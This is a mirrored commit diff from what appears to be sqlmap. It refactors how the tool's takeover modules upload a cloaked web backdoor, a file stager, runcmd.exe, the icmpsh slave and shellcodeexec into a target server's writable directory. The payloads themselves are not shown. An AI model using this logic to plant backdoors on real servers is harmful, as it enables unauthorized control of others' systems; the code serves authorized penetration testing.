Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit df0f08b

Browse files
stamparmstamparm
committed
Cleaning some (web upload based) garbage
1 parent 5150172 commit df0f08b

6 files changed

Lines changed: 26 additions & 41 deletions

File tree

‎lib/controller/checks.py‎

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,6 @@
1212
import socket
1313
import time
1414

15-
from subprocess import PIPE
1615
from subprocess import Popen as execute
1716

1817
from extra.beep.beep import beep

‎lib/core/common.py‎

Lines changed: 0 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,6 @@
3838
from xml.dom import minidom
3939
from xml.sax import parse
4040

41-
from extra.cloak.cloak import decloak
4241
from extra.safe2bin.safe2bin import safecharencode
4342
from lib.core.bigarray import BigArray
4443
from lib.core.data import conf
@@ -1416,14 +1415,6 @@ def showStaticWords(firstPage, secondPage):
14161415

14171416
logger.info(infoMsg)
14181417

1419-
def decloakToNamedStream(filepath, name=None):
1420-
class _(StringIO):
1421-
__len__ = property(lambda self: self.len)
1422-
retVal = _(decloak(filepath))
1423-
retVal.name = name
1424-
1425-
return retVal
1426-
14271418
def isWindowsPath(filepath):
14281419
"""
14291420
Returns True if given filepath is in Windows format

‎lib/takeover/icmpsh.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -77,7 +77,7 @@ def uploadIcmpshSlave(self, web=False):
7777
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
7878

7979
if web:
80-
self.webFileUpload(self.__icmpslave, self._icmpslaveRemote, self.webDirectory)
80+
self.webUpload(self._icmpslaveRemote, self.webDirectory, filepath=self.__icmpslave)
8181
else:
8282
self.writeFile(self.__icmpslave, self._icmpslaveRemote, "binary")
8383

‎lib/takeover/metasploit.py‎

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -545,9 +545,7 @@ def uploadShellcodeexec(self, web=False):
545545
else:
546546
self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch()
547547

548-
# TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName
549-
#__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
550-
__basename = os.path.basename(self.shellcodeexecLocal)
548+
__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
551549

552550
if web:
553551
self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename)
@@ -559,7 +557,7 @@ def uploadShellcodeexec(self, web=False):
559557
logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)
560558

561559
if web:
562-
self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory)
560+
self.webUpload(self.shellcodeexecRemote, self.webDirectory, filepath=self.shellcodeexecLocal)
563561
else:
564562
self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
565563

‎lib/takeover/web.py‎

Lines changed: 22 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,17 @@
55
See the file 'doc/COPYING' for copying permission
66
"""
77

8-
import codecs
98
import os
109
import posixpath
1110
import re
11+
import StringIO
1212

1313
from tempfile import mkstemp
1414

1515
from extra.cloak.cloak import decloak
1616
from lib.core.agent import agent
1717
from lib.core.common import arrayizeValue
1818
from lib.core.common import Backend
19-
from lib.core.common import decloakToNamedStream
2019
from lib.core.common import extractRegexResult
2120
from lib.core.common import getDirs
2221
from lib.core.common import getDocRoot
@@ -82,16 +81,25 @@ def webBackdoorRunCmd(self, cmd):
8281

8382
return output
8483

85-
def webFileUpload(self, fileToUpload, destFileName, directory):
86-
inputFP = codecs.open(fileToUpload, "rb")
87-
retVal = self._webFileStreamUpload(inputFP, destFileName, directory)
88-
inputFP.close()
89-
90-
return retVal
84+
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
85+
if filepath is not None:
86+
if filepath.endswith('_'):
87+
content = decloak(filepath) # cloaked file
88+
else:
89+
with open(filepath, "rb") as f:
90+
content = f.read()
91+
if content is not None:
92+
stream = StringIO.StringIO(content) # string content
93+
return self._webFileStreamUpload(stream, destFileName, directory)
9194

9295
def _webFileStreamUpload(self, stream, destFileName, directory):
9396
stream.seek(0) # Rewind
9497

98+
try:
99+
setattr(stream, "name", destFileName)
100+
except TypeError:
101+
pass
102+
95103
if self.webApi in getPublicTypeMembers(WEB_API, True):
96104
multipartParams = {
97105
"upload": "1",
@@ -156,10 +164,7 @@ def webInit(self):
156164
break
157165

158166
if not default:
159-
if Backend.isOs(OS.WINDOWS):
160-
default = WEB_API.ASP
161-
else:
162-
default = WEB_API.PHP
167+
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
163168

164169
message = "which web application language does the web server "
165170
message += "support?\n"
@@ -190,8 +195,7 @@ def webInit(self):
190195
directories = sorted(getDirs())
191196

192197
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
193-
backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
194-
originalBackdoorContent = backdoorContent = backdoorStream.read()
198+
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
195199

196200
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
197201
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
@@ -291,30 +295,23 @@ def webInit(self):
291295
logger.info(infoMsg)
292296

293297
if self.webApi == WEB_API.ASP:
294-
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
295-
runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
296298
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
297299

298300
if match:
299301
backdoorDirectory = match.group(1)
300302
else:
301303
continue
302304

303-
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
304-
backdoorStream.truncate()
305-
backdoorStream.read()
306-
backdoorStream.seek(0)
307-
backdoorStream.write(backdoorContent)
308-
309-
if self._webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
310-
self._webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
305+
_ = "tmpe%s.exe" % randomStr(lowercase=True)
306+
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
307+
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
311308
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
312309
self.webDirectory = backdoorDirectory
313310
else:
314311
continue
315312

316313
else:
317-
if not self._webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
314+
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
318315
warnMsg = "backdoor has not been successfully uploaded "
319316
warnMsg += "through the file stager possibly because "
320317
warnMsg += "the user running the web server process "

‎thirdparty/multipart/multipartpost.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -87,7 +87,7 @@ def multipart_encode(vars, files, boundary = None, buf = None):
8787

8888
for (key, fd) in files:
8989
file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len
90-
filename = fd.name.split('/')[-1]
90+
filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1]
9191
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
9292
buf += '--%s\r\n' % boundary
9393
buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)

0 commit comments

Comments
 (0)